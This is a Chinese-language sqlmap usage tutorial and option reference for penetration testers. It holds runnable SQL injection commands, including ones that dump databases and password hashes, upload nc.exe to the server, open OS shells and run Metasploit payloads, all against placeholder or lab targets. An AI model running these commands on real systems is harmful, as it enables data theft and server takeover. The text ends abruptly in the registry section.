简介 🐋
安装:
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
更新:sqlmap --update
依赖:基于Python
跨平台:mac,linux,windows,android,ios.。。。。。。。。
官网:http://sqlmap.orgGithub:https://github.com/sqlmapproject/sqlmap
使用 😧
简介 ☺️
-
检测并利用 sql 注入 -
通过提供 DBMS 凭证、IP 地址、端口和数据库名称,支持直接连接到数据库,而无需通过 SQL 注入。 -
可以指定单一 url 目标,从 Burp 代理或 WebScarab 代理请求日志文件中获取目标列表,从文本文件中获取整个 HTTP 请求,或者通过为 sqlmap 提供一个查询 Google 搜索引擎并解析其结果来获取目标列表。您还可以定义一个基于正则表达式的作用域,用于标识要测试的解析地址。 -
测试提供的 GET 参数、POST 参数、HTTP Cookie 标头值、HTTP User-Agent 标头值和 HTTP Referer 标头值,以识别和利用 SQL 注入漏洞。也可以指定要测试的特定参数的逗号分隔列表。 -
线程控制,时间控制 -
cookie 支持,自动处理来自应用程序的 HTTP Set-Cookie
头 -
HTTP 协议基本、摘要、NTLM 和证书身份验证支持。 -
Referer
头,User-Agent
头伪造 -
消息日志级别输出控制,7 种 -
支持从目标 URL 解析 HTML 表单,并针对这些页面伪造 HTTP(S)请求,以测试表单参数是否存在漏洞。 -
程序测试时间预测 -
数据获取同时保存到文件 -
支持从配置 INI 文件中读取选项 -
与其他 IT 安全开源项目 Metasploit 和 w3af 集成。
检测类型 😩
-
基于布尔的盲态,根据 HTTP 响应判断注入 -
基于时间的盲态,通过 sql 语句中的时间函数,判断页面响应时间判断注入 -
基于错误,通过 sql 语句中的附加参数,导致页面报错,通过报错内容判断注入 -
基于 UNION 查询,通过 union 或 union all 连接,将自己写的 SQL 拼接到原始 SQL 中,从而达到执行任意 SQL 语句的效果。 -
堆栈查询,在 HTTP 请求中的受影响参数后添加一个分号( ;
),后跟要执行的 SQL 语句
完全支持五种 SQL 注入技术:基于布尔的盲,基于时间的盲,基于错误的,UNION 查询和堆栈查询。
支持数据库类型 💁♀️
指纹特征枚举 😩
-
广泛的后端数据库软件版本和底层操作系统指纹,基于错误消息、横幅解析、函数输出比较和特定功能(如 MySQL 注释注入)。如果您已经知道后端数据库管理系统名称,也可以强制使用该名称。 -
基本的 Web 服务器软件和 Web 应用程序技术指纹。 -
支持检索 DBMS 横幅,会话用户和当前数据库信息。检查会话用户是否是数据库管理员(DBA)。 -
支持枚举用户、密码哈希、权限、角色、数据库、表和列。 -
自动识别密码散列格式,并支持使用基于字典的攻击来破解。 -
支持暴力破解表和列的名称。当会话用户对包含模式信息的系统表没有读访问权时,或者当数据库管理系统没有将此信息存储在任何地方(例如 MySQL < 5.0)时,这很有用。 -
支持完全转储数据库表 -
支持自动转储所有数据库的模式和条目。可以从转储中排除系统数据库。 -
支持搜索特定的数据库名称,跨所有数据库的特定表或跨所有数据库的表的特定列,例如,这对于标识包含自定义应用程序凭据的表很有用,其中相关列名包含 name 和 pass 等字符串。 -
支持在连接到后端数据库的交互式 SQL 客户端中运行自定义 SQL 语句。sqlmap 自动分析提供的语句,确定最适合注入它的技术以及如何相应地打包 SQL 负载。
接管功能 🤍
-
支持注入自定义用户定义函数 UDF -
当数据库软件为 MySQL、PostgreSQL 或 Microsoft SQL Server 时,支持从数据库服务器底层文件系统下载和上传任何文件。 -
当数据库软件为 MySQL、PostgreSQL 或 Microsoft SQL Server 时,支持在数据库服务器底层操作系统上执行任意命令并检索其标准输出。 -
在 MySQL 和 PostgreSQL 上通过用户定义的函数注入和执行。 -
在 Microsoft SQL Server 上通过 xp_cmdshell()
存储过程, -
支持在攻击机器和数据库服务器底层操作系统之间建立带外有状态 TCP 连接。带外测试 -
通过 sqlmap 自己的用户定义函数 sys_bineval()
在内存中执行 Metasploit 的 shellcode。支持 MySQL 和 PostgreSQL。 -
通过 MySQL 和 PostgreSQL 上的 sqlmap 自己的用户定义函数 sys_exec()
或通过 Microsoft SQL Server 上的xp_cmdshell()
上传和执行 Metasploit 的独立有效负载 stager。 -
通过执行 SMB 反射攻击(MS 08 -068)执行 Metasploit 的外壳代码,并从数据库服务器向 Metasploit smb_relay
服务器漏洞利用侦听的攻击者计算机发送一个 HTTP 路径请求。当在 Linux/Unix 上以高权限(uid=0
)运行 sqlmap 并且目标 DBMS 在 Windows 上以管理员身份运行时受支持。 -
通过 Metasploit 的 getsystem
命令支持数据库进程的用户权限升级,其中包括 kitrap 0 d 技术(MS 10 -015)。 -
支持访问(读取/添加/删除)Windows 注册表配置单元。
参数详解 😡
-
使用格式: sqlmap [选项] -
选项:
-h, --help 显示基本选项帮助
-hh 显示完整选项帮助
--version 显示sqlmap版本
-v VERBOSE 显示消息级别 level: 0-6 (default 1)
-
指定目标
-u URL, --url=URL 指定目标 URL (e.g. "<http://www.site.com/vuln.php?id=1>")
-d DIRECT 用于指定直接连接数据库的字符串
-l LOGFILE 从Burp或WebScarab代理日志文件中解析目标
-m BULKFILE 扫描文本文件中给定的多个目标
-r REQUESTFILE 从文件加载HTTP请求
-g GOOGLEDORK 处理谷歌的搜索引擎语法结果作为目标url
-c CONFIGFILE 从配置INI文件加载选项
-
请求: 这些选项可用于指定如何连接到目标 URL
-A AGENT, --user.. HTTP User-Agent报头值
-H HEADER, --hea.. 额外的头 (e.g. "X-Forwarded-For: 127.0.0.1")
--method=METHOD 强制使用给定的HTTP方法 (e.g. PUT)
--data=DATA 通过POST发送的数据字符串 (e.g. "id=1")
--param-del=PARA.. 用于分割参数值的字符 (e.g. &)
--cookie=COOKIE HTTP header Cookie值 (e.g. "PHPSESSID=a8d127e..")
--cookie-del=COO.. 用于分割cookie值的字符 (e.g. ;)
--live-cookies=L.. 用于加载最新值的动态cookie文件
--load-cookies=L.. 包含Netscape/wget格式cookie的文件
--drop-set-cookie 忽略响应中的Set-Cookie头
--mobile 通过HTTP User-Agent头模仿智能手机
--random-agent 使用随机选择的HTTP User-Agent报头值
--host=HOST HTTP Host header 值
--referer=REFERER HTTP Referer header 值
--headers=HEADERS 额外的头 headers (e.g. "Accept-Language: fr\nETag: 123")
--auth-type=AUTH.. HTTP认证类型 (Basic, Digest, NTLM or PKI)
--auth-cred=AUTH.. HTTP身份验证凭证 (name:password)
--auth-file=AUTH.. HTTP认证PEM证书/私钥文件
--ignore-code=IG.. 忽略(有问题的)HTTP错误代码 (e.g. 401)
--ignore-proxy 忽略系统默认的代理设置
--ignore-redirects 忽略重定向尝试
--ignore-timeouts 忽略连接超时
--proxy=PROXY 使用代理连接到目标URL
--proxy-cred=PRO.. 代理身份验证凭证 (name:password)
--proxy-file=PRO.. 从文件加载代理列表
--proxy-freq=PRO.. 从给定列表更改代理之间的请求
--tor 使用Tor匿名网络
--tor-port=TORPORT 设置非默认Tor代理端口
--tor-type=TORTYPE 设置Tor代理类型 (HTTP, SOCKS4 or SOCKS5 (default))
--check-tor 检查Tor是否被正确使用
--delay=DELAY 每个HTTP请求之间的延迟(以秒为单位)
--timeout=TIMEOUT 超时连接前等待的秒数 (default 30)
--retries=RETRIES 当连接超时时重试 (default 3)
--randomize=RPARAM 随机更改给定参数的值(s)
--safe-url=SAFEURL 在测试期间经常访问的URL地址
--safe-post=SAFE.. POST数据发送到一个安全的URL
--safe-req=SAFER.. 从文件加载安全的HTTP请求
--safe-freq=SAFE.. 访问安全URL之间的定期请求
--skip-urlencode 跳过有效负载数据的URL编码
--csrf-token=CSR.. 用于保存反csrf令牌的参数
--csrf-url=CSRFURL 用于提取反csrf令牌的URL地址
--csrf-method=CS.. 在反csrf令牌页面访问期间使用的HTTP方法
--csrf-retries=C.. 重试反csrf令牌检索 (default 0)
--force-ssl 强制使用 SSL/HTTPS
--chunked 使用HTTP分块传输编码(POST)请求
--hpp 使用HTTP参数污染方法
--eval=EVALCODE 在请求之前评估提供的Python代码 (e.g.
"import hashlib;id2=hashlib.md5(id).hexdigest()")
-
优化: 这些选项可用于优化 sqlmap 的性能
-o 打开所有优化开关
--predict-output 预测常见查询输出
--keep-alive 使用持久HTTP连接
--null-connection 在没有实际HTTP响应体的情况下检索页面长度
--threads=THREADS 最大并发HTTP请求数 (default 1)
-
注入:
这些选项可用于指定要测试的参数,提供自定义注入有效载荷和可选的篡改脚本
-p TESTPARAMETER 可测试的参数(s)
--skip=SKIP 跳过给定参数的测试(s)
--skip-static 跳过看起来不是动态的测试参数
--param-exclude=.. Regexp从测试中排除参数 (e.g. "ses")
--param-filter=P.. 按位置选择可测试的参数 (e.g. "POST")
--dbms=DBMS 强制后端DBMS提供值
--dbms-cred=DBMS.. DBMS身份验证凭证 (user:password)
--os=OS 强制后端DBMS操作系统提供值
--invalid-bignum 使用大量无效值
--invalid-logical 使用逻辑操作使值无效
--invalid-string 使用随机字符串使值无效
--no-cast 关闭有效载荷投射机制
--no-escape 关闭字符串转义机制
--prefix=PREFIX 注入有效载荷前缀字符串
--suffix=SUFFIX 注入有效载荷后缀字符串
--tamper=TAMPER 使用给定的脚本篡改注入数据
-
检测: 这些选项可用于自定义检测阶段
--level=LEVEL 要执行的测试级别 (1-5, default 1)
--risk=RISK 执行测试的风险 (1-3, default 1)
--string=STRING 当查询求值为True时匹配的字符串
--not-string=NOT.. 当查询求值为False时要匹配的字符串
--regexp=REGEXP 当查询求值为True时,正则匹配
--code=CODE 当查询求值为True时匹配的HTTP代码
--smart 只有当启发式为正时,才执行彻底的测试。
--text-only 仅根据文本内容比较页面
--titles 仅根据标题比较页面
-
技术:
这些选项可用于调整特定 SQL 注入的测试技术
--technique=TECH.. 使用SQL注入技术 (default "BEUSTQ")
--time-sec=TIMESEC 延迟DBMS响应的秒 (default 5)
--union-cols=UCOLS 要测试UNION查询SQL注入的列范围
--union-char=UCHAR 用于强制列数的字符
--union-from=UFROM 用于UNION查询SQL注入的FROM部分的表
--dns-domain=DNS.. 用于DNS泄露攻击的域名
--second-url=SEC.. 二级响应搜索结果页面URL
--second-req=SEC.. 从文件加载二级HTTP请求
指纹:
-f, --fingerprint 执行广泛的DBMS版本指纹
-
枚举: 这些选项可用于枚举后端数据库管理系统中包含的信息、结构和数据表
-a, --all 检索所有
-b, --banner 检索 DBMS banner
--current-user 检索DBMS当前用户
--current-db 检索DBMS当前数据库
--hostname 检索DBMS服务器主机名
--is-dba 检测DBMS当前用户是否是DBA
--users 枚举DBMS用户
--passwords 枚举DBMS用户密码哈希值
--privileges 枚举DBMS用户的权限
--roles 枚举DBMS用户角色
--dbs 枚举DBMS数据库
--tables 枚举DBMS数据库表
--columns 枚举DBMS数据库表列
--schema 枚举DBMS模式
--count 检索表的条目数
--dump 转储DBMS数据库表项
--dump-all 转储所有DBMS数据库表项
--search 搜索列、表和/或数据库名
--comments 在枚举期间检查DBMS注释
--statements 检索正在DBMS上运行的SQL语句
-D DB DBMS数据库枚举
-T TBL 要枚举的DBMS数据库表
-C COL 要枚举的数据库表列
-X EXCLUDE DBMS不能枚举的数据库标识符
-U USER 要枚举的DBMS用户
--exclude-sysdbs 在枚举表时排除DBMS系统数据库
--pivot-column=P.. 主列名称
--where=DUMPWHERE 在表转储时使用WHERE条件
--start=LIMITSTART 要检索的第一个转储表项
--stop=LIMITSTOP 要检索的最后一个转储表项
--first=FIRSTCHAR 第一个查询要检索的输出单词字符
--last=LASTCHAR 要检索的最后一个查询输出字符
--sql-query=SQLQ.. 要执行的SQL语句
--sql-shell 交互式SQL shell
--sql-file=SQLFILE 从给定文件执行SQL语句
-
暴力测试: 这些选项可用于运行暴力检查
--common-tables 检查公共表是否存在
--common-columns 检查公共列是否存在
--common-files 检查是否存在公共文件
-
用户定义函数注入: 这些选项可用于创建自定义的用户定义函数
--udf-inject 注入自定义的用户定义函数
--shared-lib=SHLIB 共享库的本地路径
-
文件系统访问:
这些选项可用于访问后端数据库管理系统底层文件系统
--file-read=FILE.. 从后端DBMS文件系统读取文件
--file-write=FIL.. 在后端DBMS文件系统上写一个本地文件
--file-dest=FILE.. 后端DBMS绝对路径写入文件
-
操作系统访问: 这些选项可用于访问后台数据库管理系统的底层操作系统
--os-cmd=OSCMD 执行操作系统命令
--os-shell 提示交互式操作系统shell
--os-pwn 提示使用OOB shell、Meterpreter或VNC
--os-smbrelay 一键提示OOB shell, Meterpreter或VNC
--os-bof 存储过程缓冲区溢出利用
--priv-esc 数据库进程用户权限升级
--msf-path=MSFPATH Metasploit Framework安装的本地路径
--tmp-path=TMPPATH 临时文件目录的远程绝对路径
-
Windows 注册表访问: 这些选项可用于访问后端数据库管理系统 Windows 注册表
--reg-read 读取Windows注册表项值
--reg-add 写一个Windows注册表键值数据
--reg-del 删除Windows注册表项值
--reg-key=REGKEY Windows注册表项
--reg-value=REGVAL Windows注册表键值
--reg-data=REGDATA Windows注册表键值数据
--reg-type=REGTYPE Windows注册表键值类型
-
通用: 这些选项可用于设置一些通用的工作参数
-s SESSIONFILE 从存储的(.sqlite)文件加载会话
-t TRAFFICFILE 将所有HTTP通信记录到文本文件中
--answers=ANSWERS 设置预定义的答案 (e.g. "quit=N,follow=N")
--base64=BASE64P.. 包含Base64编码数据的参数
--base64-safe 使用URL和文件名安全的Base64字母 (RFC 4648)
--batch 不要要求用户输入,使用默认行为
--binary-fields=.. 具有二进制值的结果字段 (e.g. "digest")
--check-internet 评估目标前请检查网络连接
--cleanup 从sqlmap特定的UDF和表中清理DBMS
--crawl=CRAWLDEPTH 从目标URL开始抓取网站
--crawl-exclude=.. 正则方式以排除抓取页面 (e.g. "logout")
--csv-del=CSVDEL 在CSV输出中使用的分隔字符 (default ",")
--charset=CHARSET 盲注 SQL 注入字符集 (e.g. "0123456789abcdef")
--dump-format=DU.. 转储数据格式 (CSV (default), HTML or SQLITE)
--encoding=ENCOD.. 用于数据检索的字符编码 (e.g. GBK)
--eta 显示每个输出的估计到达时间
--flush-session 刷新当前目标的会话文件
--forms 解析和测试目标URL上的表单
--fresh-queries 忽略存储在会话文件中的查询结果
--gpage=GOOGLEPAGE 从指定的页码使用谷歌搜索结果
--har=HARFILE 将所有HTTP流量记录到HAR文件中
--hex 在数据检索期间使用十六进制转换
--output-dir=OUT.. 自定义输出目录路径
--parse-errors 解析并显示来自响应的DBMS错误消息
--preprocess=PRE.. 使用给定的脚本进行预处理 (request)
--postprocess=PO.. 使用给定的脚本进行后处理 (response)
--repair 具有未知字符标记的重转储条目 (?)
--save=SAVECONFIG 将选项保存到配置INI文件中
--scope=SCOPE 使用正则过滤目标
--skip-heuristics 跳过sql /XSS漏洞的启发式检测
--skip-waf 跳过WAF/IPS保护的启发式检测
--table-prefix=T.. 用于临时表的前缀 (default: "sqlmap")
--test-filter=TE.. 根据有效载荷和/或标题选择测试 (e.g. ROW)
--test-skip=TEST.. 通过有效负载和/或标题跳过测试 (e.g. BENCHMARK)
--web-root=WEBROOT Web服务器文档根目录 (e.g. "/var/www")
-
杂项: 这些选项不适合任何其他类别
-z MNEMONICS 使用简短的助记符 (e.g. "flu,bat,ban,tec=EU")
--alert=ALERT 发现SQL注入后,执行host OS命令
--beep 当SQLi/XSS/FI被发现时,提示问题
--dependencies 检查是否缺少(可选的)sqlmap依赖项
--disable-coloring 禁用控制台输出着色
--list-tampers 显示可用篡改脚本的列表
--offline 在脱机模式下工作(仅在 session 数据)
--purge 安全地从sqlmap数据目录中删除所有内容
--results-file=R.. CSV结果文件在多目标模式下的位置
--shell 提示交互式sqlmap shell
--tmp-dir=TMPDIR 存放临时文件的本地目录
--unstable 调整连接不稳定的选项
--update Update sqlmap
--wizard 简单的向导界面为初学者用户
使用提示 🥱
-v 选项的 7 个级别解释
-
0:仅显示 Python 回溯、错误和关键消息。 -
1:同时显示信息和警告消息。 -
2:也显示调试消息。 -
3:还显示注入的有效载荷。 -
4:也显示 HTTP 请求。 -
5:同时显示 HTTP 响应的头。 -
6:同时显示 HTTP 响应的页面内容。
-d 直接连接数据库测试
-
DBMS://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME
(MySQL, Oracle, Microsoft SQL Server, PostgreSQL, etc.) -
DBMS://DATABASE_FILEPATH
(SQLite, Microsoft Access, Firebird, etc.) -
例如:
sqlmap -d "mysql://admin:[email protected]:3306/testdb" -f --banner --dbs --users
-u or --url
指定 url 目标进行测试
python sqlmap.py -u "http://www.target.com/vuln.php?id=1" -f --banner --dbs -
-users
sqlmap -u "http://example.com/?id=*" -p id
POST请求注入
sqlmap -u "http://example.com" --data "username=*&password=*"
-l burp log file
指定 burpHTTP 请求日志文件。
sqlmap -l burp.log --scope="(www)?.target.(com|net|org)"
-m file
提供在给定批量文件中登记的目标 URL 列表,sqlmap 将逐个扫描其中的每个 URL。
sqlmap -m test_file
test_file
www.target1.com/vuln1.php?q=foobar
www.target2.com/vuln2.asp?id=1
www.target3.com/vuln3/id/1*
-r file
指定 request 请求文件进行测试
sqlmap -r file
file
POST /vuln.php HTTP/1.1
Host: www.target.com
User-Agent: Mozilla/4.0
id=1
sqlmap -r "burp.txt" -p "username" #-p 指定存在注入的参数
sqlmap -r req.txt --current-user
从管道输入解析目标
例如:
waybackurls www.target.com | python sqlmap.py
-g
通过 google 语法进行 sqlmap 测试
sqlmap -g "inurl:".php?id=1""
--data
选项
默认情况下,用于执行HTTP请求的HTTP方法是GET,但您可以通过在POST请求中提供要发送的数据来隐式地将其更改为POST。作为这些参数的这样的数据被测试用于SQL注入以及任何提供的GET参数。
sqlmap -u "http://www.target.com/vuln.php" --data="id=1" -f --banner --dbs --users
--ignore-code
选项
忽略错误请求对目标继续测试
指定代理测试,选项和开关:
--proxy
、--proxy-cred
、--proxy-file
和--ignore-proxy
--proxy http://url:port
--proxy-cred username:password
使用 tor 网络,开关和选项:
--tor
、--tor-port
、--tor-type
和--check-tor
默认tor设置 sqlmap 直接指定--tor选项、
自定义tor 参数指定 --tor-type=SOCKS5 --tor-port 9050
使用 --check-tor 检测是否使用tor环境,确保tor配置正确
-p
指定测试参数
例如,要测试GET参数 id 和HTTP User-Agent ,请提供 -p "id,user-agent" 。
--skip
指定跳过测试参数
如果用户想从测试中排除某些参数,他可以使用选项 --skip 。当你想为 --level 使用更高的值,并测试所有可用的参数,不包括一些通常被测试的HTTP头时,这特别有用。
例如,要在 --level=5 处跳过对HTTP头 User-Agent 和HTTP头 Referer 的测试,请提供 --skip="user-agent,referer" 。
--param-exclude
正则排除参数设置
例如,要跳过名称中包含字符串 token 或 session 的参数的测试,请提供 --param-exclude="token|session" 。
URI 注入点设置
当注入点位于URI本身中时,存在特殊情况。除非手动指向,否则sqlmap不会对URI路径执行任何自动测试。您必须在命令行中指定这些注入点,方法是在您希望sqlmap测试和利用SQL注入的每个URI点后面附加一个星号( * )(注意:也支持Havij样式 %INJECT HERE% )。
以上两种都可以使用
例如:
sqlmap -u "http://targeturl/param1/value1*/param2/value2/"
sqlmap -u "http://targeturl/param1/value1/%param2%/value2/"
任意注入点设置
与URI注入点类似,星号( * )(注意:也支持Havij样式 %INJECT HERE% )也可以用来指向GET、POST或HTTP头中的任意注入点。注入点可以通过在选项 -u 所提供的GET参数值、选项 --data 所提供的POST参数值、选项 -H 、 --headers 、 --user-agent 、 --referer 和/或 --cookie 所提供的HTTP报头值内标记它来指定,或者在从文件加载的HTTP请求内的具有选项 -r 的通用位置处标记它来指定。
例如:
$ sqlmap -u "http://targeturl" --cookie="param1=value1*;param2=value2"
$ sqlmap -u "http://targeturl" --cookie="param1=value1*;param2=%value2%"
开关:
--common-tables
开关:--common-columns
在某些情况下,开关 --tables 不能用于检索数据库的表名。这些案件通常属于以下类别之一:
数据库管理系统为MySQL < 5.0,其中 information_schema 不可用。
数据库管理系统为Microsoft Access,系统表 MSysObjects 不可读-默认设置。
会话用户对存储数据库方案的系统表没有读取权限。
如果前两种情况中的任何一种适用,并且您提供了开关 --tables ,则sqlmap将提示您返回此技术。这两种情况都适用于您的情况,如果您为sqlmap提供开关 --common-tables ,它仍然可以识别一些现有的表。sqlmap将执行暴力攻击,以检测DBMS中是否存在公共表。
常用表名列表为 txt/common-tables.txt ,您可以根据需要编辑它。
常用表名列表为 txt/common-columns.txt ,您可以根据需要编辑它。
选项:
--base64
$ python sqlmap.py -u http://192.168.22.128/sqlmap/mysql/get_base64?value=eyJpZC
I6IDF9 -v 5 --base64=value
-
开关: --forms
为sqlmap提供 --forms 以及可以找到表单的页面作为目标URL( -u ),sqlmap将为您请求目标URL,解析它所拥有的表单并指导您在这些表单输入字段(参数)而不是提供的目标URL上测试SQL注入。
-
选项: --save
可以将命令行选项保存到配置INI文件中。然后可以编辑生成的文件,并使用上面解释的 -c 选项将其传递给sqlmap。
-
Cookie 注入
sqlmap -u "http://www.target.com" --cookie "id=11" --level 2
sqlmap -u "http://example.com" --cookie "mycookies=*"
-
Header 头注入
sqlmap -u "http://example.com" --headers="referer:*"
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
用户自定义函数 🫥
-
开关和选项: --udf-inject
和--shared-lib
您可以通过编译MySQL或PostgreSQL共享库、Windows的DLL和Linux/Unix的共享对象来注入自己的用户定义函数(UDF),然后向sqlmap提供共享库在您的计算机上本地存储的路径。
sqlmap将询问您一些问题,将共享库上传到数据库服务器文件系统,从中创建用户定义的函数,并根据您的选项执行它们。
当您使用完注入的UDF后,sqlmap还可以为您从数据库中删除它们。
使用选项 --udf-inject 并按照说明操作。
如果需要,您也可以使用 --shared-lib 选项通过命令行指定共享库本地文件系统路径。反之亦然,sqlmap会在运行时询问路径。
此功能仅在数据库管理系统为MySQL或PostgreSQL时可用。
数据提取 🤲
-
开关: --all
此开关可用于用户希望通过使用单个开关检索可远程访问的所有内容的情况。不建议这样做,因为它会生成大量的请求,检索有用和无用的数据。
-
开关: -b
或--banner
大多数现代数据库管理系统都有一个函数和/或环境变量,它返回数据库管理系统版本,并最终详细说明其补丁级别,即底层系统。通常,函数是 version() ,环境变量是 @@version ,但这取决于目标DBMS。
-
开关: --current-user
使用此开关,可以从Web应用程序中检索数据库管理系统的用户,该用户正在有效地对后端DBMS执行查询。
-
开关: --current-db
使用此开关,可以检索Web应用程序连接到的数据库管理系统的数据库名称。
-
开关: --hostname
使用此开关可以检索数据库管理系统的主机名。
-
开关: --is-dba
可以检测当前数据库管理系统会话用户是否是数据库管理员,也称为DBA。如果是,sqlmap将返回 True ,反之亦然 False 。
-
开关: --users
当会话用户对包含DBMS用户信息的系统表具有读访问权限时,可以枚举用户列表。
-
开关: --passwords
当会话用户具有对包含有关DBMS用户密码的信息的系统表的读访问权时,可以枚举每个数据库管理系统用户的密码散列。
sqlmap将首先枚举用户,然后枚举每个用户的不同密码哈希。
-
开关: --privileges
当会话用户具有对包含有关DBMS用户的信息的系统表的读访问权时,可以枚举每个数据库管理系统用户的特权。通过权限,sqlmap还将显示哪些是数据库管理员。
-
开关: --roles
当会话用户具有对包含有关DBMS用户的信息的系统表的读访问权时,可以枚举每个数据库管理系统用户的角色。
-
开关: --dbs
当会话用户对包含有关可用数据库的信息的系统表具有读访问权限时,可以枚举数据库列表。
-
开关和选项: --tables
、--exclude-sysdbs
和-D
枚举特定数据库管理系统的数据库的表列表
如果您没有提供特定的数据库选项 -D ,sqlmap将枚举所有DBMS数据库的表。
您还可以提供开关 --exclude-sysdbs 来排除所有系统数据库。
请注意,在Oracle上,您必须提供 TABLESPACE_NAME 而不是数据库名称。
-
开关和选项: --columns
、-C
、-T
和-D
枚举特定数据库表的列列表。sqlmap还枚举每个列的数据类型。
这个特性依赖于选项 -T 来指定表名,也可以依赖于选项 -D 来指定数据库名。如果未指定数据库名称,则使用当前数据库名称。您还可以提供 -C 选项来指定表列名,就像您提供的要枚举的列名一样。
请注意,在PostgreSQL上,您必须提供 public 或系统数据库的名称。这是因为不可能枚举其他数据库表,只能枚举Web应用程序用户连接到的模式下的表,该模式总是由 public 别名。
-
开关: --schema
和--exclude-sysdbs
用户可以使用此开关检索DBMS模式。架构列表将包含所有数据库、表和列及其各自的类型。
与 --exclude-sysdbs 结合使用时,将仅检索和显示包含非系统数据库的部分模式。
-
开关: --count
如果用户只想在转储所需的表之前知道表中的条目数,他可以使用此开关。
-
开关和选项: --dump
、-C
、-T
、-D
、--start
、--stop
、--first
、--last
、--pivot-column
和--where
此功能依赖于选项 -T 来指定表名,也可以依赖于选项 -D 来指定数据库名。如果提供了表名,但没有提供数据库名,则使用当前数据库名。
此开关还可用于转储提供的数据库的所有表条目。您只需为sqlmap提供开关 --dump 沿着和选项 -D (没有 -T 和 -C )。
您还可以使用选项 -C 提供要转储的特定列的逗号分隔列表。
-
开关: --dump-all
和--exclude-sysdbs
可以一次转储会话用户具有读访问权限的所有数据库表条目。
您还可以提供开关 --exclude-sysdbs 来排除所有系统数据库。在这种情况下,sqlmap将只转储用户数据库表的条目。
-
开关和选项: --search
、-C
、-T
、-D
此开关允许您搜索特定的数据库名称、所有数据库中的特定表或所有数据库表中的特定列。
例如,这对于标识包含自定义应用程序凭据的表很有用,其中相关列名包含name和pass等字符串。
-C 跟随逗号分隔的列名列表,以便在整个数据库管理系统中查找。
-T 跟随一个逗号分隔的表名列表,以在整个数据库管理系统中查找。
-D 后面是要在数据库管理系统中查找的逗号分隔的数据库名称列表。
-
选项和开关: --sql-query
和--sql-shell
例如:
python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query "SELECT 'foo'" -v 1
SQL shell选项允许您以交互方式运行自己的SQL语句,就像连接到数据库管理系统的SQL控制台一样。此功能还提供TAB完成和历史记录支持。
-
选项: --dump-format
指定导出文件的格式,在将转储的表数据存储到输出目录中的相应文件时,sqlmap支持三种不同类型的格式:CSV 、 HTML 和 SQLITE 。默认值是 CSV ,其中每个表行都逐行存储到文本文件中,每个条目都用逗号字符 , (或提供选项 --csv-del )分隔。在 HTML 的情况下,输出被存储到HTML文件中,其中每一行都用格式化表中的一行表示。在#7 #的情况下,输出被存储到SQLITE数据库中,其中原始表内容被复制到具有相同名称的对应表中。
-
选项: --output-dir
默认情况下,sqlmap将会话和结果文件存储在数据库 output 中。如果您想使用不同的位置,您可以使用此选项(例如 --output-dir=/tmp )。
操作系统控制 💩
-
选项: --file-read
当后端数据库管理系统是MySQL、PostgreSQL或Microsoft SQL Server时,可以从底层文件系统检索文件的内容,并且会话用户具有滥用数据库特定功能和架构弱点所需的权限。
指定的文件可以是文本文件或二进制文件。sqlmap将正确处理它。
python sqlmap.py -u "http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?nam
e=luther" --file-read "C:/example.exe" -v 1
-
选项: --file-write
和--file-dest
当后端数据库管理系统是MySQL、PostgreSQL或Microsoft SQL Server时,可以将本地文件上传到数据库服务器的文件系统,并且会话用户具有滥用数据库特定功能和架构弱点所需的权限。
$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" -
-file-write "/software/nc.exe.packed" --file-dest "C:/WINDOWS/Temp/nc.exe" -v 1
-
选项和开关: --os-cmd
和--os-shell
命令执行
当后端数据库管理系统是MySQL、PostgreSQL或Microsoft SQL Server时,可以在数据库服务器的底层操作系统上运行任意命令,并且会话用户具有滥用数据库特定功能和体系结构弱点所需的权限。
在MySQL和PostgreSQL上,sqlmap上传(通过上面解释的文件上传功能)一个包含两个用户定义函数 sys_exec() 和 sys_eval() 的共享库(二进制文件),然后在数据库上创建这两个函数,并调用其中一个来执行指定的命令,这取决于用户选择是否显示标准输出。在Microsoft SQL Server上,sqlmap滥用了 xp_cmdshell 存储过程:如果它被禁用(在Microsoft SQL Server >= 2005上默认),sqlmap将重新启用它;如果它不存在,sqlmap将从头开始创建它。
python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --
os-cmd id -v 1
还可以模拟一个真实的shell,在其中可以键入任意多的命令。选项是 --os-shell ,具有与 --sql-shell 相同的TAB完成和历史记录功能。
如果在Web应用程序上没有识别出堆栈查询(例如PHP或ASP,后端数据库管理系统是MySQL),并且DBMS是MySQL,则仍然有可能滥用 SELECT 子句的 INTO OUTFILE 在Web服务器文档根目录内的可写文件夹中创建Web后门,并且仍然可以执行命令(假设后端DBMS和Web服务器托管在同一服务器上)。
sqlmap支持这种技术,并允许用户提供可能的文档根子文件夹的逗号分隔列表,在这些文件夹中尝试上载web文件stager和随后的web后门。
此外,sqlmap有自己的测试web文件stagers和后门,用于以下语言:
asp
jsp
php
net
-
开关和选项: --os-pwn
、--os-smbrelay
、--os-bof
、--priv-esc
、--msf-path
和--tmp-path
sqlmap依赖于Metasploit来创建shellcode,并实现了四种不同的技术来在数据库服务器上执行它。这些技术是:
通过sqlmap自己的用户定义函数 sys_bineval() 在内存中执行Metasploit的shellcode。支持MySQL和PostgreSQL -开关 --os-pwn 。
通过MySQL和PostgreSQL上的sqlmap自己的用户定义函数 sys_exec() 或通过Microsoft SQL Server上的 xp_cmdshell() 上传和执行Metasploit的独立有效负载stager-开关 --os-pwn 。
通过执行SMB反射攻击(MS 08 -068)来执行Metasploit的外壳代码,该SMB反射攻击使用从数据库服务器到Metasploit smb_relay 服务器漏洞利用侦听的攻击者计算机的路径请求。在Linux/Unix上以高权限( uid=0 )运行sqlmap时受支持,并且目标DBMS在Windows上以管理员身份运行-开关 --os-smbrelay 。
利用Microsoft SQL Server 2000和2005 sp_replwritetovarbin 存储过程堆缓冲区溢出(MS 09 -004)在内存中执行Metasploit的外壳代码。sqlmap有自己的漏洞,可以通过自动DEP内存保护绕过来触发漏洞,但它依赖于Metasploit来生成shellcode,以便在成功利用时执行-开关 --os-bof 。
可以为sqlmap提供开关 --priv-esc ,以通过Metasploit的 getsystem 命令执行数据库进程的用户权限提升,其中包括kitrap 0 d技术(MS 10 -015)。
windows 注册表控制 🏌️
-
开关: --reg-read
使用此开关可以读取注册表项值。 -
开关: --reg-add
使用此开关可以写入注册表项值。 -
开关: --reg-del
